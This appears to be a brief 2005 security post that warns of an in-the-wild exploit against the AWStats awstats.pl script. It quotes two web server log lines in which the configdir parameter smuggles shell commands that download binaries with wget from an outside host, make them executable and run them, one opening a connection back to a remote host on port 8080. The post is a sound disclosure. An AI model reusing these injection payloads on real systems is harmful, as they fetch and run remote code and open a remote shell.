There's an exploit in the wild. Here's what it does:

200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET 
/cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00
 HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET 
/cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
 HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

I don't have the time to investigate the "cgi" and "dc" binaries.
The "cgi" at least tries to daemonize and opens a TCP listening socket.
They also try to replace the index page on the vulnerable site.
